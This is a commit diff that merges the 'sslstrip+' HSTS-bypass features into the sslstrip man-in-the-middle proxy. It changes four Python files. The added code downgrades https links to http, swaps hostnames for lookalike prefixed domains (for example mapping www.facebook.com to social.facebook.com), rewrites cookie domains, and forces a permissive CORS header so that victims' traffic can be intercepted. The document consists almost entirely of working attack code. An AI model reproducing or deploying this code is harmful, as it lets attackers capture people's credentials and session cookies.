merged sslstrip+ into sslstrip, tweaked hsts bypass performance

libs/sslstrip/ClientRequest.py

@@ -16,7 +16,7 @@
 # USA
 #
 
-import urlparse, logging, os, sys, random
+import urlparse, logging, os, sys, random, re
 
 from twisted.web.http import Request
 from twisted.web.http import HTTPChannel
@@ -34,6 +34,7 @@ from URLMonitor import URLMonitor
 from CookieCleaner import CookieCleaner
 from DnsCache import DnsCache
 from libs.sergioproxy.ProxyPlugins import ProxyPlugins
+from configobj import ConfigObj
 
 class ClientRequest(Request):
 
@@ -47,6 +48,7 @@ class ClientRequest(Request):
         Request.__init__(self, channel, queued)
         self.reactor       = reactor
         self.urlMonitor    = URLMonitor.getInstance()
+        self.hsts          = URLMonitor.getInstance().isHstsBypass()
         self.cookieCleaner = CookieCleaner.getInstance()
         self.dnsCache      = DnsCache.getInstance()
         self.plugins       = ProxyPlugins.getInstance()
@@ -69,6 +71,23 @@ class ClientRequest(Request):
         if 'cache-control' in headers:
             del headers['cache-control']
 
+        if self.hsts:
+            if 'if-none-match' in headers:
+                del headers['if-none-match']
+
+            if 'referer' in headers:
+                real = self.urlMonitor.real
+                if len(real) > 0:
+                    dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys())))
+                    headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer'])
+        
+            if 'host' in headers:
+                host = self.urlMonitor.URLgetRealHost("%s" % headers['host'])
+                logging.debug("Modifing HOST header: %s -> %s" % (headers['host'],host))
+                headers['host'] = host
+                headers['securelink'] = '1'
+                self.setHeader('Host',host)
+
         self.plugins.hook()
 
         return headers
@@ -104,33 +123,76 @@ class ClientRequest(Request):
         except:
             pass
 
-        url               = 'http://' + host + path
-        self.uri = url # set URI to absolute
+        if self.hsts:
+            
+            real = self.urlMonitor.real
+            patchDict = self.urlMonitor.patchDict
 
-        #self.dnsCache.cacheResolution(host, address)
+            if len(real) > 0:
+                dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys())))
+                path = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), path)
+                postData = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), postData)
+                if len(patchDict)>0:
+                    dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys())))
+                    postData = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), postData)
 
-        hostparts = host.split(':')
-        self.dnsCache.cacheResolution(hostparts[0], address)
+            url               = 'http://' + host + path
+            headers['content-length'] = "%d" % len(postData)
 
-        if (not self.cookieCleaner.isClean(self.method, client, host, headers)):
-            logging.debug("Sending expired cookies...")
-            self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client,
-                                                                                    host, headers, path))
-        elif (self.urlMonitor.isSecureFavicon(client, path)):
-            logging.debug("Sending spoofed favicon response...")
-            self.sendSpoofedFaviconResponse()
-        elif (self.urlMonitor.isSecureLink(client, url)):
-            logging.debug("Sending request via SSL...")
-            self.proxyViaSSL(address, self.method, path, postData, headers,
-                             self.urlMonitor.getSecurePort(client, url))
+            #self.dnsCache.cacheResolution(host, address)
+            hostparts = host.split(':')
+            self.dnsCache.cacheResolution(hostparts[0], address)
+
+            if (not self.cookieCleaner.isClean(self.method, client, host, headers)):
+                logging.debug("Sending expired cookies...")
+                self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client,
+                                                                                        host, headers, path))
+            elif (self.urlMonitor.isSecureFavicon(client, path)):
+                logging.debug("Sending spoofed favicon response...")
+                self.sendSpoofedFaviconResponse()
+            elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)):
+                if 'securelink' in headers:
+                    del headers['securelink']
+                logging.debug("LEO Sending request via SSL...(%s %s)"%(client,url))
+                self.proxyViaSSL(address, self.method, path, postData, headers,
+                                 self.urlMonitor.getSecurePort(client, url))
+            else:
+                logging.debug("LEO Sending request via HTTP...")
+                #self.proxyViaHTTP(address, self.method, path, postData, headers)
+                port = 80
+                if len(hostparts) > 1:
+                    port = int(hostparts[1])
+
+                self.proxyViaHTTP(address, self.method, path, postData, headers, port)
+        
         else:
-            logging.debug("Sending request via HTTP...")
-            #self.proxyViaHTTP(address, self.method, path, postData, headers)
-            port = 80
-            if len(hostparts) > 1:
-                port = int(hostparts[1])
+            
+            url               = 'http://' + host + path
+            self.uri = url # set URI to absolute
 
-            self.proxyViaHTTP(address, self.method, path, postData, headers, port)
+            #self.dnsCache.cacheResolution(host, address)
+            hostparts = host.split(':')
+            self.dnsCache.cacheResolution(hostparts[0], address)
+
+            if (not self.cookieCleaner.isClean(self.method, client, host, headers)):
+                logging.debug("Sending expired cookies...")
+                self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client,
+                                                                                        host, headers, path))
+            elif (self.urlMonitor.isSecureFavicon(client, path)):
+                logging.debug("Sending spoofed favicon response...")
+                self.sendSpoofedFaviconResponse()
+            elif (self.urlMonitor.isSecureLink(client, url)):
+                logging.debug("Sending request via SSL...")
+                self.proxyViaSSL(address, self.method, path, postData, headers,
+                                 self.urlMonitor.getSecurePort(client, url))
+            else:
+                logging.debug("Sending request via HTTP...")
+                #self.proxyViaHTTP(address, self.method, path, postData, headers)
+                port = 80
+                if len(hostparts) > 1:
+                    port = int(hostparts[1])
+
+                self.proxyViaHTTP(address, self.method, path, postData, headers, port)
 
     def handleHostResolvedError(self, error):
         logging.warning("Host resolution error: " + str(error))
@@ -152,8 +214,22 @@ class ClientRequest(Request):
     def process(self):
         logging.debug("Resolving host: %s" % (self.getHeader('host')))
         host     = self.getHeader('host')               
-        #deferred = self.resolveHost(host)
+        
+        if (self.hsts and host):
+            real = self.urlMonitor.real
+
+            if 'wwww' in host:
+                logging.debug("Resolving %s for HSTS bypass" % (host))
+                host = host[1:]
+            elif 'web' in host:
+                logging.debug("Resolving %s for HSTS bypass" % (host))
+                host = host[3:]
+            elif host in real:
+                logging.debug("Resolving %s for HSTS bypass" % (host))
+                host = real[host]
+
         hostparts = host.split(':')
+        #deferred = self.resolveHost(host)
         deferred = self.resolveHost(hostparts[0])
 
         deferred.addCallback(self.handleHostResolvedSuccess)

libs/sslstrip/SSLServerConnection.py

@@ -44,9 +44,30 @@ class SSLServerConnection(ServerConnection):
         return "SECURE POST"
 
     def handleHeader(self, key, value):
-        if (key.lower() == 'set-cookie'):
-            value = SSLServerConnection.cookieExpression.sub("\g<1>", value)
+        if ServerConnection.isHsts(self):
+            if (key.lower() == 'set-cookie'):
+                newvalues =[]
+                value = SSLServerConnection.cookieExpression.sub("\g<1>", value)
+                values = value.split(';')
+                for v in values:
+                    if v[:7].lower()==' domain':
+                        dominio=v.split("=")[1]
+                        logging.debug("LEO Parsing cookie domain parameter: %s"%v)
+                        real = self.urlMonitor.sustitucion
+                        if dominio in real:
+                            v=" Domain=%s"%real[dominio]
+                            logging.debug("LEO New cookie domain parameter: %s"%v)
+                    newvalues.append(v)
+                value = ';'.join(newvalues)
+            
+            if (key.lower() == 'access-control-allow-origin'):
+                value='*'
 
+        else:
+            if (key.lower() == 'set-cookie'):
+                value = SSLServerConnection.cookieExpression.sub("\g<1>", value)
+
+        
         ServerConnection.handleHeader(self, key, value)
 
     def stripFileFromPath(self, path):

libs/sslstrip/ServerConnection.py

@@ -33,6 +33,11 @@ class ServerConnection(HTTPClient):
     urlExpression     = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE)
     urlType           = re.compile(r"https://", re.IGNORECASE)
     urlExplicitPort   = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/',  re.IGNORECASE)
+    urlTypewww        = re.compile(r"https://www", re.IGNORECASE)
+    urlwExplicitPort  = re.compile(r'https://www([a-zA-Z0-9.]+):[0-9]+/',  re.IGNORECASE)
+    urlToken1         = re.compile(r'(https://[a-zA-Z0-9./]+\?)', re.IGNORECASE)
+    urlToken2         = re.compile(r'(https://[a-zA-Z0-9./]+)\?{0}', re.IGNORECASE)
+    #urlToken2        = re.compile(r'(https://[a-zA-Z0-9.]+/?[a-zA-Z0-9.]*/?)\?{0}', re.IGNORECASE)
 
     def __init__(self, command, uri, postData, headers, client):
 
@@ -42,6 +47,7 @@ class ServerConnection(HTTPClient):
         self.headers          = headers
         self.client           = client
         self.urlMonitor       = URLMonitor.getInstance()
+        self.hsts             = URLMonitor.getInstance().isHstsBypass()
         self.plugins          = ProxyPlugins.getInstance()
         self.isImageRequest   = False
         self.isCompressed     = False
@@ -62,6 +68,9 @@ class ServerConnection(HTTPClient):
     def getPostPrefix(self):
         return "POST"
 
+    def isHsts(self):
+        return self.hsts
+
     def sendRequest(self):
         if self.command == 'GET':
             message = "%s Sending Request: %s"  % (self.client.getClientIP(), self.headers['host'])
@@ -231,19 +240,53 @@ class ServerConnection(HTTPClient):
             logging.info("Client connection dropped before request finished.")
 
     def replaceSecureLinks(self, data):
-        iterator = re.finditer(ServerConnection.urlExpression, data)
+        if self.hsts:
 
-        for match in iterator:
-            url = match.group()
+            sustitucion = {}
+            patchDict = self.urlMonitor.patchDict
+            if len(patchDict)>0:
+                dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys())))
+                data = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), data)
 
-            logging.debug("Found secure reference: " + url)
+            iterator = re.finditer(ServerConnection.urlExpression, data)       
+            for match in iterator:
+                url = match.group()
 
-            url = url.replace('https://', 'http://', 1)
-            url = url.replace('&', '&')
-            self.urlMonitor.addSecureLink(self.client.getClientIP(), url)
+                logging.debug("Found secure reference: " + url)
+                nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url)
+                logging.debug("LEO replacing %s => %s"%(url,nuevaurl))
+                sustitucion[url] = nuevaurl
+                #data.replace(url,nuevaurl)
 
-        data = re.sub(ServerConnection.urlExplicitPort, r'http://\1/', data)
-        return re.sub(ServerConnection.urlType, 'http://', data)
+            #data = self.urlMonitor.DataReemplazo(data)
+            if len(sustitucion)>0:
+                dregex = re.compile("(%s)" % "|".join(map(re.escape, sustitucion.keys())))
+                data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data)
+
+            #logging.debug("LEO DEBUG received data:\n"+data)   
+            #data = re.sub(ServerConnection.urlExplicitPort, r'https://\1/', data)
+            #data = re.sub(ServerConnection.urlTypewww, 'http://w', data)
+            #if data.find("http://w.face")!=-1:
+            #   logging.debug("LEO DEBUG Found error in modifications")
+            #   raw_input("Press Enter to continue")
+            #return re.sub(ServerConnection.urlType, 'http://web.', data)
+            return data
+
+        else:
+
+            iterator = re.finditer(ServerConnection.urlExpression, data)
+
+            for match in iterator:
+                url = match.group()
+
+                logging.debug("Found secure reference: " + url)
+
+                url = url.replace('https://', 'http://', 1)
+                url = url.replace('&', '&')
+                self.urlMonitor.addSecureLink(self.client.getClientIP(), url)
+
+            data = re.sub(ServerConnection.urlExplicitPort, r'http://\1/', data)
+            return re.sub(ServerConnection.urlType, 'http://', data)
 
     def shutdown(self):
         if not self.shutdownComplete:

libs/sslstrip/URLMonitor.py

@@ -17,6 +17,8 @@
 #
 
 import re, os
+import logging
+from configobj import ConfigObj
 
 class URLMonitor:    
 
@@ -28,12 +30,26 @@ class URLMonitor:
     # Start the arms race, and end up here...
     javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")]
     _instance          = None
+    sustitucion        = {} # LEO: diccionario host / sustitucion
+    real           = {} # LEO: diccionario host / real
+    patchDict      = {
+            'https:\/\/fbstatic-a.akamaihd.net':'http:\/\/webfbstatic-a.akamaihd.net',
+            'https:\/\/www.facebook.com':'http:\/\/social.facebook.com',
+            'return"https:"':'return"http:"'
+            }
 
     def __init__(self):
         self.strippedURLs       = set()
         self.strippedURLPorts   = {}
         self.redirects          = []
         self.faviconReplacement = False
+        self.hsts               = False
+
+        hsts_config = ConfigObj("./config/hsts_bypass.cfg")
+
+        for k,v in hsts_config.items():
+            self.sustitucion[k] = v
+            self.real[v] = k
 
     def isSecureLink(self, client, url):
         for expression in URLMonitor.javascriptTrickery:
@@ -85,7 +101,7 @@ class URLMonitor:
         method      = url[0:methodIndex]
 
         pathIndex   = url.find("/", methodIndex)
-        host        = url[methodIndex:pathIndex]
+        host        = url[methodIndex:pathIndex].lower()
         path        = url[pathIndex:]
 
         port        = 443
@@ -96,14 +112,35 @@ class URLMonitor:
             port = host[portIndex+1:]
             if len(port) == 0:
                 port = 443
-        
-        url = method + host + path
 
-        self.strippedURLs.add((client, url))
-        self.strippedURLPorts[(client, url)] = int(port)
+        if self.hsts:
+            #LEO: Sustituir HOST
+            if not self.sustitucion.has_key(host):
+                lhost = host[:4]
+                if lhost=="www.":
+                    self.sustitucion[host] = "w"+host
+                    self.real["w"+host] = host
+                else:
+                    self.sustitucion[host] = "web"+host
+                    self.real["web"+host] = host
+                logging.debug("LEO: ssl host      (%s) tokenized (%s)" % (host,self.sustitucion[host]) )
+                    
+            url = 'http://' + host + path
+            #logging.debug("LEO stripped URL: %s %s"%(client, url))
 
-    def setValues(self, faviconSpoofing, clientLogging):
+            self.strippedURLs.add((client, url))
+            self.strippedURLPorts[(client, url)] = int(port)
+            return 'http://'+self.sustitucion[host]+path
+
+        else:
+            url = method + host + path
+
+            self.strippedURLs.add((client, url))
+            self.strippedURLPorts[(client, url)] = int(port)
+
+    def setValues(self, faviconSpoofing, hstsbypass=False, clientLogging=False,):
         self.faviconSpoofing = faviconSpoofing
+        self.hsts = hstsbypass
         self.clientLogging = clientLogging
 
     def isFaviconSpoofing(self):
@@ -112,8 +149,20 @@ class URLMonitor:
     def isClientLogging(self):
         return self.clientLogging
 
+    def isHstsBypass(self):
+        return self.hsts
+
     def isSecureFavicon(self, client, url):
         return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1))
+    
+    def URLgetRealHost(self,host):
+        logging.debug("Parsing host: %s"%host)
+        if self.real.has_key(host):
+            logging.debug("New host: %s"%self.real[host])
+            return self.real[host]
+        else:
+            logging.debug("New host: %s"%host)
+            return host
 
     def getInstance():
         if URLMonitor._instance == None: